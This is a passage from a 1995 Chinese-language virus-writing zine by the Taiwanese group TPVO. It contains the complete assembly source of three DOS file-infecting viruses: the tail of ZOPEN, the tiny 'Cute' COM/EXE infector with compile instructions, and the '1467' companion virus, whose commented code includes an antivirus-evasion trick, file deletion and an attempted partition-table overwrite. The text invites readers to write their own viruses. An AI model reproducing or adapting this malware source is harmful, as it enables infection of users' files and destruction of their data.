mov word ptr es:[di+15h],0000h
mov ah,40h ; 写个 jmp xxxx 至 com 档
mov cx,0003h ; 的前 3 bytes ...
mov dx,OFFSET jmp_f1 ;
call int21h ;
pop ax
jc close_file
mov es:[di+15h],ax ; 将病毒主体加在档尾...
mov ah,40h ;
mov cx,vir_size ;
xor dx,dx ;
call int21h ;
call set_date ;把档案日期加 100 年...
jmp close_file
infect_exe:
cmp word ptr ds:[si+1ah],0000h
jnz close_file
mov ax,ds:[si+0eh]
mov ds:org_ss,ax
mov ax,ds:[si+10h]
mov ds:org_sp,ax
mov ax,ds:[si+14h]
mov ds:exe_jmp_ip,ax
mov ax,ds:[si+16h]
mov ds:exe_jmp_cs,ax
call get_sft
mov ax,es:[di+11h]
mov dx,es:[di+13h]
mov cx,0010h
div cx
sub ax,ds:[si+08h]
mov ds:[si+14h],dx
mov ds:[si+16h],ax
add dx,vir_size
mov ds:[si+0eh],ax
mov ds:[si+10h],dx
mov ax,es:[di+11h]
mov dx,es:[di+13h]
add ax,vir_size
adc dx,0000h
mov cx,0200h
div cx
and dx,dx
jz no_cf
inc ax
no_cf:
mov ds:[si+04h],ax
mov ds:[si+02h],dx
mov word ptr es:[di+15h],0000h
mov ah,40h ; 写 exe 的档头...
mov cx,001ch ;
mov dx,si ;
call int21h ;
jc inf_exe_err
mov ax,4202h ; 移动档案指标至档尾...
xor cx,cx ;
xor dx,dx ;
call oint21h ;
mov ah,40h ; 将病毒主体加在档尾...
mov cx,vir_size ;
xor dx,dx ;
call int21h ;
call set_date ;把档案日期加 100 年...
inf_exe_err:
jmp close_file
int21h:
pushf
call dword ptr cs:int21_o
ret
oint21h:
pushf
call dword ptr cs:oint21_o
ret
vint24h:
xor al,al
iret
vint2fh:
pushf
cmp ax,1216h
jnz dos_int2fh
popf
call int2fh
jb v2f_err
push ax
mov ax,es:[di+0fh]
shr ah,01h
cmp ah,64h ; 该档已中毒吗?
jb v2f_sten ; 没就跳开...
sub byte ptr es:[di+10h],11001000b ; 将年数减回来...
sub word ptr es:[di+11h],vir_size ; 档案大小减掉...
sbb word ptr es:[di+13h],0000h ; 此举可让一些烂 AV ...@#$%
v2f_sten:
pop ax
clc
v2f_err:
retf 0002h
dos_int2fh:
popf
jmp dword ptr cs:int2f_o
int2fh:
pushf
call dword ptr cs:int2f_o
ret
get_sft:
push bx
mov ax,1220h
call int2fh
mov ax,1216h
xor bx,bx
mov bl,es:[di]
call int2fh
mov ax,es:[di+0dh]
mov cs:org_time,ax
mov ax,es:[di+0fh]
mov cs:org_date,ax
pop bx
ret
set_date:
mov ax,5701h
mov bx,cs:handle
mov cx,ds:org_time
mov es:[di+0dh],ax
mov dx,ds:org_date
add dh,11001000b ; 加 100 年...
call int21h
ret
chk_not_file:
std
lodsb
cmp al,'\'
jnz chk_not_file
cld
lodsw
mov ax,ds:[si]
cmp al,'Z' ; 是 Z 开头的档案吗???
jz del_file ; 是... 就去将 它 正法吧... 哈! 哈!
push di
mov di,si
push di
mov si,OFFSET not_file
xor cx,cx
chk_again:
pop di
push di
inc si
add si,cx
cmp word ptr ds:[si-01h],0ffffh
jz chk_fa
xor cx,cx
mov cl,ds:[si-01h]
repz cmpsb
jnz chk_again
pop di
pop di
stc
ret
chk_fa:
pop di
pop di
clc
ret
del_file:
cmp word ptr cs:reg_ax,4b00h
jnz not_4bh
mov ah,41h ; 杀档... ;_>
mov dx,di ;
call oint21h ;
jc no_msg
mov ah,09h ; 秀我的大名罗... :_)
mov dx,OFFSET msg ;
call int21h ;
no_msg:
mov word ptr cs:reg_ax,4c00h
not_4bh:
ret
not_file db 7,'COMMAND' ; 这里系 不屑感染名单 ... ;_)
db 3,'IBM' ;
db 2,'PC' ;
db 2,'TB'
db 4,'CKVI'
db 4,'KLVI'
db 4,'DEVI'
db 5,'BTOOL'
db 5,'RTOOL'
db 5,'TDISK'
db 4,'SCAN'
db 5,'CLEAN'
db 2,'F-'
db 0ffh,0ffh
int21_o dw ?
int21_s dw ?
int24_o dw ?
int24_s dw ?
int2f_o dw ?
int2f_s dw ?
oint21_o dw ?
oint21_s dw ?
handle dw ?
reg_ax dw ?
org_sp dw ?
org_ss dw ?
org_time dw ?
org_date dw ?
com_f1 dw 20cdh
com_f2 db 90h
jmp_f1 db 0e9h
jmp_f2 dw ?
exe_head dw ?
exe_l02h dw ?
exe_l04h dw ?
dw ?
exe_l08h dw ?
db 4 dup (?)
exe_ss dw ? ;exe_l0eh
exe_sp dw ? ;exe_l10h
exe_sum dw ?
exe_ip dw ? ;exe_l14h
exe_cs dw ? ;exe_l16h
db 4 dup (?)
msg db 0dh,0ah,'Your PC was now OPEN! Whao! Ha! Ha! Ha! Ha!',0dh,0ah
db 0dh,0ah,'== Written by Zhuge Jin at TPVO , 1995 ==',0dh,0ah
db 0dh,0ah,'=== Taiwan Power Virus Organization. ===',0dh,0ah
db 07h,'$'
buffer db 0100h dup(?)
vir_size equ $-OFFSET vir_start ; 病毒的 size ...
para_size equ ($-OFFSET vir_start)/10h+02h
ZOPEN ends
end start
================================================================
◎最小的档案型病毒-Cute◎
by Dark Slayer of TPVO
================================================================
很高兴的是,台湾的第一本病毒杂志终于出来了,这是本杂志的第一
期,这多部份还没啥经验,所以若有任何建意或是不妥的地方,欢迎告知
我们,以求改进,同时也希望台湾的病毒作者能够团结起来、组织起来,
互相讨论研究心得,才能获得更多的技术,更大的改进。
由于这还是第一期,我们就从最简单的开始... 在这篇文章中我提供
一只全世界最小的毒(我很屁吧?),此毒我取名为 Cute ,因为我觉得它
小的可爱,常驻在记忆体,会感染COM/EXE 档,非覆写病毒,被感染过的
档案还能维持原功能,正常的执行,且不重复感染,此毒感染档案长度增
加205Bytes,希望有人能以上面所讲的为条件,写出比我这只更小的毒,
虽然那是不太可能的... 呵... 比起 VLAD #3 (全名为Virus Laboratories
And Distribution,为国外的病毒杂志) 中,TALON 所写的 Small Virus
(263 Bytes) 小了 58Bytes,但功能一样,TALON 宣称他那只毒是最小的
毒?不过我有作弊,因为我用了286 指令的 pusha,且开档之后没有作错
误处理 (jc error) ,但是我有试过,跟他一样一个个 push register,
且加上 jc error ,也才 219Bytes ,还是很小的。
Cute在感染EXE 档时,并不修改EXE 档头的堆叠值,那是因为我这只
毒够小,所以不用担心被堆叠覆盖到,若是比较大只的毒就一定要乖乖的
设堆叠,否则就有可能... 当...
这是一只很小的毒,但是却包括了COM/EXE 档的感染方法,很适合作
为初学者的学习材料,Cute吧?!
编译方法:
tasm /m cute.asm
tlink cute.obj
exe2bin cute.exe cute.com
PS: exe2bin 在 DOS 5.0之后就不提供了,若你的系统是 DOS 5.0以上请
找 DOS 5.0磁片,觉得只能在 DOS 5.0下使用 EXE2BIN很不方便吗?
请自已用pctools 寻找 B4 30 CD 21,找到后跳过 3 个 bytes ,然
后改为 90 90,就像 -> B4 30 CD 21 XX XX XX 90 90,改完后就可
以在任何版本下使用罗
============================ Begin Cute.asm ==================================
vir_size equ offset vir_end-offset start
mem_size equ offset mem_end-offset start
vir_addr equ 580h
vir_mark equ 0e9h
.286
.model tiny
.code
org 0
start:
push es
mov di,vir_addr+2
xor ax,ax
mov es,ax ; 0:vir_addr 为 cute 藏身之处
call delta
delta:
pop si ; 取得自身的偏移
sub si,offset delta-2
push cs
pop ds
std
cmpsw ; 比较 0:vir_addr 之处是否已经有常驻
cld
mov cx,mem_size
rep movsb ; 将 cute 搬移到 0:vir_addr
je run_host ; 如果 0:vir_addr 早就有 copy 一份 cute
; 则 jmp,否则修改中断
mov bx,vir_addr/10h ; bx=常驻时的 segment
mov al,offset int21 ; ax=指向 cute 的 int 21h
xchg ax,es:[bx+21h*4-vir_addr/10h] ; 改中断偏移 ip
stosw ; 保存原中断
xchg bx,es:[bx+21h*4-vir_addr/10h+2] ; 改中断区段 cs
xchg bx,ax
stosw ; 保存原中断
run_host:
pop es ; 恢复 es (=psp)
lodsw ; si=si+2
lodsw ; si=si+2
cmp sp,0fffch
jb exe_host ; sp<0fffch? 如果是则 jmp (表示原来被
; 感染的档案为 exe,否则为 com)
com_host:
mov di,100h
push di
movsw ; 恢复原档案前 4 bytes
movsw ;
ret ; return 至被我们感染的 com file
exe_host:
lodsw ; 取原 exe 档头的 cs 增量,
xchg di,ax ; 放到 di
mov bx,es ; bx=es=psp segment
lea ax,[bx+di+10h] ; ax=原档头的 cs 增量+psp segment+10h
push ax
lodsw ; 取原 exe 档头的 ip 值
push ax
mov ds,bx ; ds=bx=psp segment
retf ; far return 至被我们感染的 exe file
int21:
cmp ax,4b00h ; 4b00 (执行档案)?
jne i21_exit ; 不是则 jmp (不感染)
pusha
push ds es
mov ax,3d02h
int 21h ; 以读/写模式开档
xchg bx,ax ; bx=file handle
push cs cs
pop ds es ; ds=es=cs
mov ah,3fh
mov cx,18h
mov dx,offset vir_end
int 21h ; 读取档案开头 18h bytes 至 vir_end
mov si,dx
mov di,offset host_4_bytes
mov ax,4202h
xor cx,cx
cwd
int 21h ; 将读/写指标移至档尾 (取得档案长度)
; dx:ax=档案长度
mov cl,vir_mark
cmp byte ptr ds:[si],'M' ; exe file?
je infect_exe ; 如果是则 jmp to infect_exe
infect_com:
movsw ; 保存原 com 档前面 4 bytes
movsw ; 至 host_4_bytes
xchg cx,ax ; cl=vir mark=0e9h,同时亦是 jmp code
; ax=档长,xchg 至 cx
stosb
xchg cx,ax ; xchg 取回档案长度
sub ax,3 ; 算出 jmp 所需的偏移值
stosw
jmp infect_common
infect_exe:
cmp word ptr ds:[di+4+2],200h-vir_size ; offset 2=exe mod
cmc ; 如果 exe mod<200h-vir_size,则 cmc
; 之后,cf=0,否则 cf=1
adc word ptr ds:[di+4+4],0 ; exe sector=exe sector+cf
mov si,10h
div si ; dx:ax/10h -> dx=余数 (感染后的 ip 值)
; ax=商数 (档长/10h 的商)
sub ax,ds:[di+4+8] ; offset 8=档头的长度 (以 para 为单位),
; ax=ax-档头的长度=感染后的 cs 增量
xchg dx,ds:[di+4+14h] ; offset 14h=exe ip
xchg ax,ds:[di+4+16h] ; offset 16h=distance of exe cs
stosw ; 保存原 exe cs 增量
xchg dx,ax
stosw ; 保存原 exe ip
add di,12h ; offset 12h=check sum (查核字元)
; 此处存放 mark (0e9h)
infect_common:
cmp ds:[di],cl ; 比较是否有 mark
je close ; 如过是则 jmp to close,关档不再感染
mov ds:[di],cl ; 设 mark
mov ah,40h
mov cl,vir_size
cwd
int 21h ; 将 cute 写至档尾
mov ax,4200h
xor cx,cx
int 21h ; 移读写指标至档头
mov ah,40h
mov cl,18h
mov dl,offset vir_end
int 21h ; 写入 (修改) 档头
close:
mov ah,3eh
int 21h ; 关档
pop es ds
popa
i21_exit:
db 0eah ; jmp far segment:offset 至原 int 21h 中断
mem_end:
old21 dw ?,?
host_4_bytes db 0cdh,20h,0,0
vir_end:
end start
==============================================================
◎台湾第一只伴随型病毒(解析)◎
by Dark Slayer of TPVO
==============================================================
有一种特殊的档案型病毒,其感染方式有别于一般的档案型病毒,
利用COM 档执行顺序优先于EXE 档的特性,对于要感染的EXE 档在同一
目录下,造出档名相同但副档名为COM 的病毒本体,当要执行这个EXE
档时,在Command 的命令列打这个EXE 档的主档名,却不知同档名的COM
病毒档已经被执行了,此COM 档会再载入原来的EXE 档,造成你的不知
不觉,以为一切都很正常。
利用这种怪招写出来的毒,我们称它为「伴随型」病毒(Companion
Virus),第一只采用这种感染方式的毒为「AIDS II」,为老外写的(为
什么老外有这么多创意呢?国人该加油罗) ,大概此毒作者有意让大家
知道他发明了一种新的感染方式,故此毒根本不隐藏,并且一执行便发
作。
对于这种感染方式,国内的病毒作者尚未广泛的使用,但在国外,
早就有一「脱拉裤」病毒采用这种感染方式,第一届国际电脑病毒写作
大赛的冠军即是「伴随型」病毒。
我想此类型病毒之所以如此的受到老外的喜爱, 原因有三个:
1) 感染方法简单:这类型病毒只要造出COM 伴随档 (病毒本体) 就OK
了, 写作方法极为简单
2) 隐藏性:具自我侦毒能力的档案,即使被感染也不自知,因为根本
就没有修改到该执行档,即使想在同一目录下找出同档名的
COM 档,只要稍加一点技巧即可骗过。
3) 亦可利用高阶语言:由于它的感染方式简单,所以利用高阶语言一
样可以轻易的写出来。
最近国内终于发现此类病毒的踪迹,是我们可爱的 Ghost Shadow
在他学校(联合工专)的宿舍发现的,猜想作者大概也是联合的学生吧!
此毒应该是台湾第一只真正流传出来的伴随型病毒 (自己写好玩,作实
验而没有放出来的不算) ,其特性如下:
病毒名称:1467 (找不到别的特徵可作为病毒名称)
病毒来源:台湾 (联合工专)
病毒作者:Jimmy Sad (Dark Tommy)
发现日期:1995年03月X日
病毒长度:1467 bytes
发作情形:每年的06月22日一执行病毒便发作,发作时会显示讯息,在
没有常驻中文系统或是有常驻中文系统但是在英文模式下,
则显示"Happy Birthday !",否则显示"祝佩芳生日快乐!"
,大概是此毒作者为女朋友而写的吧?!
病毒特性:为每个要感染的EXE 档造出同档名的COM 隐藏档,为「伴随
型」病毒,此毒也会感染COM 档,利用传统的感染方式。
病毒剖析:此毒为「伴随型」病毒,但也会使用传统方式感染COM 档,
当病毒本体 (COM 档) 被执行时,会先判断是否已经常驻一
份病毒;若无,则先行常驻,然后判断被感染的档案为COM
或EXE ,若为COM 则将紧接在病毒后面的原COM 程式码搬移
到 PSP:100h ,再 return 至 PSP:100h 执行原COM 程式,
若被感染 (或者该说 "被伴随" ) 的是EXE 档,则会执行该
EXE 档,更奸的是... 若是执行EXE 档失败 (表示此EXE 档
已不存在,或别的错误 ), 则此毒会删掉伴随档(COM) ,并
且显示 "Bad command or file name" ,以达到模拟真实情
况,让你中的不知不觉 (哇... 太 "干" 了 ),嗯... 这一
点够巧妙,我就没想到,改天写只玩玩。
在突破防写方面,此毒会利用 ax = 1300h int 2fh 来取得
int 13h 原始进入点,只是现今的防毒程式大都有防这一招
值得一提的是,此毒在02月06日会读取Partition table,
并在记忆体中将 '55AA' 改成 206h ,但是,之后它又将
Partition table 读进来一次就著实令人费解了,猜想可能
是个 Bug,该毒作者本来是想赶在「米开」的306 之前一个
月毁掉硬碟 (只是要救回实在太简单了) ,但是将第二步的
回写动作误写成读取动作,由此看来... 此毒作者并不是那
么仁慈的。
此毒的source code 以及注解如下,请利用 TASM 或 MASM 编译即
可得到可执行的病毒程式码。
================================ Begin 1467.ASM ==============================
vir_size equ offset vir_end-offset start
psp_size equ 100h
mem_size equ vir_size+psp_size
mark equ 202h
.286
.model small
.code
assume cs:_text,ds:_text
org 100h
start:
jmp vir_start
com_first_2byte dw ?
alloc_strategy db ?
um_link_flag db ?
memory_set_flag db ? ; 0: 未设置,1: 已设置
vir_seg dw ?
mcb_name db 'LoadHigh'
old21 dw ?,?
_0_3c4 dw 3c4h,0
int13_set_flag db ? ; 0: 未设置,1: 已设置
bios_int13 dw ?,?
old13 dw ?,?
file_size dw ?
f4b00_file_name dw ?,?
file_handle dw ?
memory_seg dw ?
vir_mark dw mark
file_attribute dw ?
file_date dw ?
file_time dw ?
attrib_set_flag db ? ; 0: 未设置,1: 已设置
file_type db 1 ; 0: COM,1: EXE
file_name db 32h dup(?)
pcb dw ?,?,?,?,?,?,?
db 12 dup(?)
my_ss dw ?
my_sp dw ?
env_file_name dw ?
bad_msg db 'Bad command or file name',0ah,0dh,'$'
msg label byte
; 'Happy Birthday !'
english_msg db 3eh,57h,66h,66h,6fh,16h,38h,5fh
db 68h,6ah,5eh,5ah,57h,6fh,16h,17h
db 0,3h,0fdh,1ah
; '祝佩芳生日快乐!'
chinese_msg db 0a5h,0a2h,9eh,0ceh,0a0h,0d0h,9bh,0c3h
db 9ah,0dfh,9dh,0cch,0b2h,0cch,97h,3fh
db 0,3h,0fdh,1ah
db 0f6h ; 讯息结束记号
vir_int24: ; 抑制错误讯息
xor ax,ax
iret
vir_int21:
cmp ax,0ffffh ; 常驻辨认?
jne _not_me ; 如果不是则 jump
cmp cx,1234h ; 常驻辨认?
jne _not_me ; 如果不是则 jump
mov ax,cx
iret
_not_me:
cmp ax,0feeeh ; 执行原 COM 档?
jne not_execute_com ; 如果不是则 jump
cmp dx,1234h ; 执行原 COM 档?
jne not_execute_com ; 如果不是则 jump
mov es,bx
mov ds,bx ; es = ds = bx = PSP
mov si,offset vir_end
mov di,100h
cld ; 将接在病毒尾的原 COM 档程式
rep movsb ; 码搬至 PSP:100h
pop bx
mov bx,100h ; 将 iret 返回位址改为 PSP:100h
push bx
xor ax,ax ; 清除暂存器
mov bx,ax
mov cx,ax
mov dx,ax
mov si,ax
mov di,ax
iret ; 执行原 COM 档
not_execute_com:
cmp ax,4b00h ; 执行档案?
je infect ; 如果是则 jump (感染)
jmp i21_exit ; 都不是则跳出
infect: ; 感染档案
pusha
push ds
push es
pushf
xor ax,ax
mov cs:memory_seg,ax ; 清除变数 (=0)
mov cs:file_handle,ax
mov cs:attrib_set_flag,al
mov cs:int13_set_flag,al
mov cs:f4b00_file_name[2],ds ; 保存档名位址
mov cs:f4b00_file_name,dx
mov si,dx
mov di,offset file_name
_move_file_name:
mov al,ds:[si] ; 将主档名 (也就是 '.' 之前的
mov cs:[di],al ; 字元) copy 至 file_name
inc si
inc di
cmp al,'.'
jne _move_file_name
mov al,ds:[si] ; al = 副档名的第一个字元
and al,11011111b ; 小写变大写
cmp al,'C' ; al = 'C'? (COM)
je infect_com ; 如果是则 jump
cmp al,'E' ; al = 'E'? (EXE)
je infect_exe ; 如果是则 jump
jmp infect_exit ; 都不是则跳出
infect_exe: ; 感染 (或者叫 '伴随') EXE 档
mov byte ptr cs:[di],'C' ; 将 EXE 副档改为 COM
mov byte ptr cs:[di+1],'O'
mov byte ptr cs:[di+2],'M'
mov byte ptr cs:[di+3],0
push cs
pop ds
mov dx,offset vir_int24
mov ax,2524h
int 21h ; 设 int 24h,使不发出错误讯息
mov dx,offset file_name
mov ax,3d00h
int 21h ; 开启伴随档 (COM 档)
jc com_not_exist ; cf = 1 = error 表示伴随档
; 不存在 (未感染过),则 jump
jmp infect_exit ; 伴随档已存在,jump 出去
com_not_exist:
mov byte ptr cs:int13_set_flag,1 ; =1 表示设置过 int 13h
call set_int13 ; 设 int 13h 到原始进入点
mov byte ptr cs:file_type,1 ; file_type = 1 (EXE 档)
mov dx,offset file_name
mov cx,22h ; 档案属性 22h = 隐藏
mov ah,3ch
int 21h ; 建立新档 (COM 伴随档)
jc err1
mov bx,ax
mov cx,vir_size
mov dx,100h
mov ah,40h
int 21h ; 写入病毒
mov ah,3eh
int 21h ; 关档
jmp infect_exit ; EXE 档感染完成,jump
infect_com: ; 感染 COM 档
push cs
pop ds
mov byte ptr cs:file_type,0 ; file_type = 0 (COM 档)
mov dx,offset vir_int24
mov ax,2524h
int 21h ; 设 int 24h,使不发出错误讯息
mov ds,cs:f4b00_file_name[2]
mov dx,cs:f4b00_file_name
mov ax,4300h
int 21h ; 取得档案属性
err1:
jc err2
mov cs:file_attribute,cx ; 保存起来
mov dx,cs:f4b00_file_name
mov ds,cs:f4b00_file_name[2]
mov ax,3d00h
int 21h ; 开档 (唯读模式)
jc err2
mov cs:file_handle,ax
mov bx,cs:file_handle
mov ax,5700h
int 21h ; 取档案时间日期
jc err2
mov cs:file_time,cx ; 保存起来
mov cs:file_date,dx
mov bx,cs:file_handle
mov ax,4202h
xor cx,cx
mov dx,cx
int 21h ; 移动读写指标至档尾
jc err2
mov cs:file_size,ax ; ax = 档案长度,保存起来
cmp ax,1000d ; 档案长度 < 1000
jb err2 ; 如果是则 jump
cmp ax,10000d ; 档案长度 <= 10000
jbe file_len_chk_ok ; 如果是则 jump (符合条件)
jmp close_file ; jump (不感染)
file_len_chk_ok:
mov bx,ax
mov cl,4
shr bx,cl
inc bx
mov ah,48h
int 21h ; 配置记忆体
jc err2
mov cs:memory_seg,ax ; 保存此记忆体区段
mov bx,cs:file_handle
mov ax,4200h
xor cx,cx
mov dx,cx
int 21h ; 移动读写指标至档头
err2:
jc err4
mov ds,cs:memory_seg
xor dx,dx
mov bx,cs:file_handle
mov cx,cs:file_size
mov ah,3fh
int 21h ; 将整个档案读至刚配置的记忆体
jc err3
xor si,si
mov ax,ds:[si] ; 取此 COM 档的前两个 bytes
mov cs:com_first_2byte,ax ; 保存起来
mov word ptr ds:[si],19cdh ; 将前两个 bytes 改为 int 19h
mov bx,cs:file_handle
mov ah,3eh
int 21h ; 关档
err3:
jc err4
mov si,offset vir_mark-100h
cmp word ptr ds:[si],mark ; 比较此 COM 档是否已经感染过?
je close_file ; 如果是则 jump
mov byte ptr cs:int13_set_flag,1 ; =1 表示设置过 int 13h
call set_int13 ; 设 int 13h 到原始进入点
mov ds,cs:f4b00_file_name[2]
mov dx,cs:f4b00_file_name
mov ax,4301h
mov cx,20h
int 21h ; 改档案属性为一般
err4:
jc err5
mov byte ptr cs:attrib_set_flag,1 ; =1 表示设置过档案属性
mov dx,cs:f4b00_file_name
mov ds,cs:f4b00_file_name[2]
mov ax,3d01h
int 21h ; 开档 (唯写模式)
jc close_file
mov cs:file_handle,ax
push cs
pop ds
mov dx,100h
mov bx,cs:file_handle
mov cx,vir_size
mov ah,40h
int 21h ; 将病毒写至档案开头
err5:
jc close_file
mov ds,cs:memory_seg
xor dx,dx
mov bx,cs:file_handle
mov cx,cs:file_size
mov ah,40h ; 将原 COM 档程式码接著病毒尾
int 21h ; 写入
jc close_file
mov bx,cs:file_handle
mov ax,5701h
mov cx,cs:file_time
mov dx,cs:file_date
int 21h ; 恢复原来的时间日期
jc close_file
close_file:
mov bx,cs:file_handle
mov ah,3eh
int 21h ; 关档
mov es,cs:memory_seg
mov ah,49h
int 21h ; 释放所配置的记忆体
cmp byte ptr cs:attrib_set_flag,0 ; 是否设置过档案属性
je infect_exit ; 如果没有则 jump
mov ds,cs:f4b00_file_name[2]
mov dx,cs:f4b00_file_name
mov ax,4301h
mov cx,cs:file_attribute
int 21h ; 恢复原先的属性
infect_exit:
cmp byte ptr cs:int13_set_flag,0 ; 是否设置过 int 13h
je dont_restore_int13 ; 如果没有则 jump
call restore_int13 ; 恢复原先的 int 13h
dont_restore_int13:
popf
pop es
pop ds
popa
i21_exit:
jmp dword ptr cs:old21 ; jump 至原 int 21h

set_int13: ; 设 int 13h 到原始进入点
mov ax,3513h
int 21h ; 取目前的 int 13h
mov cs:old13,bx ; 保存起来
mov cs:old13[2],es
mov dx,cs:bios_int13
mov ds,cs:bios_int13[2]
mov ax,2513h
int 21h ; 将 int 13h 设到原始进入点
push cs
pop ds
ret
restore_int13: ; 恢复原先的 int 13h
mov dx,cs:old13
mov ds,cs:old13[2]
mov ax,2513h
int 21h
ret
vir_start:
mov ax,cs:com_first_2byte ; 恢复 COM 档前两个 bytes
mov si,offset vir_end
mov ds:[si],ax
mov ax,0ffffh
mov cx,1234h
int 21h
cmp ax,1234h ; 是否已经常驻?
jne not_me ; 如果没有则 jump
cmp byte ptr cs:file_type,0 ; 被感染的为 COM 档?
je execute_com ; 如果是则 jump
jmp execute_exe ; 否则执行 EXE 档
execute_com:
mov cx,cs:file_size ; 原 COM 档长
mov bx,cs
mov ax,0feeeh ; 0feeeh -> 告诉记忆体中的毒,
mov dx,1234h ; 要执行原 COM 档
int 21h
not_me:
mov ah,13h
int 2fh ; 取 int 13h 原始进入点
mov cs:bios_int13,dx
mov cs:bios_int13[2],ds
int 2fh
mov ah,2ah
int 21h ; 取日期
cmp dx,206h ; 2 月 6 日?
jne not_today ; 如果不是则 jump
call set_int13 ; 设 int 13h 到原始进入点
mov ax,cs
mov ds,ax
mov es,ax
mov ax,201h
mov cx,1
mov dx,80h
mov bx,offset vir_end
int 13h ; 读取硬碟分割表
jc not_today
mov si,offset vir_end+1feh ; si 指向分割表中的 55 AA
mov word ptr ds:[si],206h ; 将 55 AA 改成 206
mov ax,203h ; ax = 203h ?!
mov cx,1
mov dx,80h
mov bx,offset vir_end
int 13h ; 再读一次分割表?why?
; 我猜想可能是 bug,原先的目的应该是在 2 月 6 日毁掉硬
; 碟分割表造成无法开机,可是却将 ax = 301h 打错成为
; ax = 203h
mov al,7
int 29h ; 哔一声
not_today:
mov ax,5800h
int 21h ; 取得记忆体配置方法
jc set_mem_err1
mov cs:alloc_strategy,al ; 保存起来
mov ax,5802h
int 21h ; 取得 UMB 的连接旗标
jc set_mem_err1
mov cs:um_link_flag,al ; 保存起来
mov ax,5803h
mov bx,1
int 21h ; 设定 UMB 的连接旗标 = 1
; 表示连接主记忆体和 UMB
set_mem_err1:
jc set_mem_err2
mov byte ptr cs:memory_set_flag,1 ; =1 表示记忆体状态
; 有变更过
mov ax,5801h
mov bx,40h
int 21h ; 设定记忆体配置方法 = 40h
; 表示配置记忆体时会从 UMB
; 由低位址往高位址寻找空间
set_mem_err2:
jc set_mem_err3
mov bx,mem_size
shr bx,4
inc bx
mov ah,48h
int 21h ; 在 UMB 配置一块记忆体用来常驻
jc set_mem_err3
mov cs:vir_seg,ax ; 保存此记忆体的区段
mov es,ax
xor si,si
mov di,si
mov cx,mem_size
cld
rep movsb ; copy 一份病毒到此记忆体
mov ax,es
dec ax ; ax = es - 1 = MCB
mov es,ax ; es = MCB
inc ax
mov es:[1],ax ; 将此 MCB 设为常驻,不可释放
mov cx,8
mov si,offset mcb_name
mov di,8
cld
rep movsb ; 将 'LoadHigh' 字串 copy
; 至此 MCB
mov es,cs:vir_seg
mov word ptr es:[80h],0 ; PSP offset 80h = 参数字串
; 设为 0
mov bl,cs:alloc_strategy
mov ax,5801h
int 21h ; 恢复原先的记忆体配置方法
mov bl,cs:um_link_flag
mov ax,5803h
int 21h ; 恢复原先的 UMB 连接旗标
mov ax,3521h
int 21h ; 取得 int 21h 位址
mov ds,cs:vir_seg
mov ds:old21,bx ; 保存起来
mov ds:old21[2],es
mov dx,offset vir_int21
mov ax,2521h
int 21h ; 设定 int 21h
jmp vir_start ; 跳至病毒开头
; 此时因为已经有常驻病毒在记忆体中,故不会重覆常驻
; 而会去执行原档案
set_mem_err3:
cmp byte ptr cs:memory_set_flag,0 ; 记忆体状态是否有变
; 更过?
je dont_restore_mem_state ; 如果没有则 jump
; 不需恢复
mov bl,cs:alloc_strategy
mov ax,5801h
int 21h ; 恢复原先的记忆体配置方法
mov bl,cs:um_link_flag
mov ax,5803h
int 21h ; 恢复原先的 UMB 连接旗标
dont_restore_mem_state:
cmp byte ptr cs:file_type,0 ; 是 COM 档吗?
jne execute_exe ; 如果不是则 jump
xor ax,ax
mov ds,ax
mov si,3c4h ; 将 rep movsb、retf
; 放在 0:3c4h
mov byte ptr ds:[si],0f3h ; code 0f3h = rep
inc si
mov byte ptr ds:[si],0a4h ; code 0a4h = movsb
inc si
mov byte ptr ds:[si],0cbh ; code 0cbh = retf
mov ax,cs
mov ds,ax
mov es,ax ; es = ds = cs = PSP (COM 档)
push cs
push 100h ; retf 至 cs:100h
mov cx,cs:file_size
mov di,100h ; 将原 COM 档程式码从病毒尾部
mov si,offset vir_end ; 搬至 cs:100h
cld
xor ax,ax
xor bx,bx
xor dx,dx
jmp dword ptr cs:_0_3c4 ; jump to 0:3c4h
execute_exe:
mov ax,cs
mov ds,ax
mov es,ax
mov sp,mem_size+100d ; 设 sp,堆叠有 100 bytes 可用
mov ds,cs:[2ch] ; 取环境变数区段
xor si,si
search_file_name:
inc si
cmp word ptr ds:[si],0 ; 搜寻档名
jne search_file_name
add si,4 ; si = si + 4,指向程式档名
mov cs:env_file_name,si ; 保存起来
mov di,offset file_name
move_file_name:
mov al,ds:[si] ; 将主档名 (也就是 '.' 之前的
mov es:[di],al ; 字元) copy 至 file_name
inc si
inc di
cmp al,'.'
jne move_file_name
push cs
pop ds
mov byte ptr ds:[di],'E' ; 将副档名改为 EXE
mov byte ptr ds:[di+1],'X' ; 因为这是伴随型病毒,所以 COM
mov byte ptr ds:[di+2],'E' ; 档 (病毒) 会先被执行,而现在
mov byte ptr ds:[di+3],0 ; 要执行原 EXE 档
mov word ptr cs:pcb[2],80h ; 设定 4b00 的参数控制区 (PCB)
mov cs:pcb[4],cs
mov word ptr cs:pcb[6],5ch
mov cs:pcb[8],cs
mov word ptr cs:pcb[10],6ch
mov cs:pcb[12],cs
mov bx,mem_size+100d
shr bx,4
inc bx
mov ah,4ah
int 21h ; 更动记忆体大小
mov bx,offset pcb
mov dx,offset file_name
mov cs:my_ss,ss ; 保存 ss:sp
mov cs:my_sp,sp
mov ax,4b00h
int 21h ; 执行原 EXE 档
push cs
pop ds
cli
mov ss,cs:my_ss ; 恢复 ss:sp
mov sp,cs:my_sp
sti
jnc execute_ok ; 如果 4b00 正确执行则 jump
mov ah,41h ; 4b00 有错误,可能原 EXE 档已
mov ds,cs:[2ch] ; 经不存在了,所以没有必要存在
mov dx,cs:env_file_name ; COM 档 (伴随),故将此 COM 档
int 21h ; 删除 (delete)
push cs
pop ds
mov dx,offset bad_msg
mov ah,9 ; 显示 'Bad command or file name'
int 21h ; 有掩饰的功能
mov ah,4ch
mov al,1
int 21h ; 程式结束
execute_ok:
mov ah,2ah
int 21h ; 取日期
cmp dx,616h ; 6 月 22 (16h) 日?
jne active_done ; 如果不是则 jump
mov si,offset msg
decrypt_loop:
add byte ptr ds:[si],0ah ; 将讯息解码
inc si
cmp byte ptr ds:[si],0f6h ; 讯息结尾?
jnz decrypt_loop ; 如果不是则 jump,继续解码
mov ax,9100h
int 10h
cmp ax,9100h ; 有倚天中文系统?
je print_eng_msg ; 如果没有则 jump
test dh,80h ; 有常驻中文系统,但是在英文
; 模式下?
jnz print_eng_msg ; 如果是则 jump
mov dx,offset chinese_msg
mov ah,9
int 21h ; 显示中文讯息
jmp short active_done
nop
print_eng_msg:
mov dx,offset english_msg
mov ah,9h
int 21h ; 显示英文讯息
active_done:
mov ah,4dh
int 21h ; 取子程式的结束码
mov ah,4ch
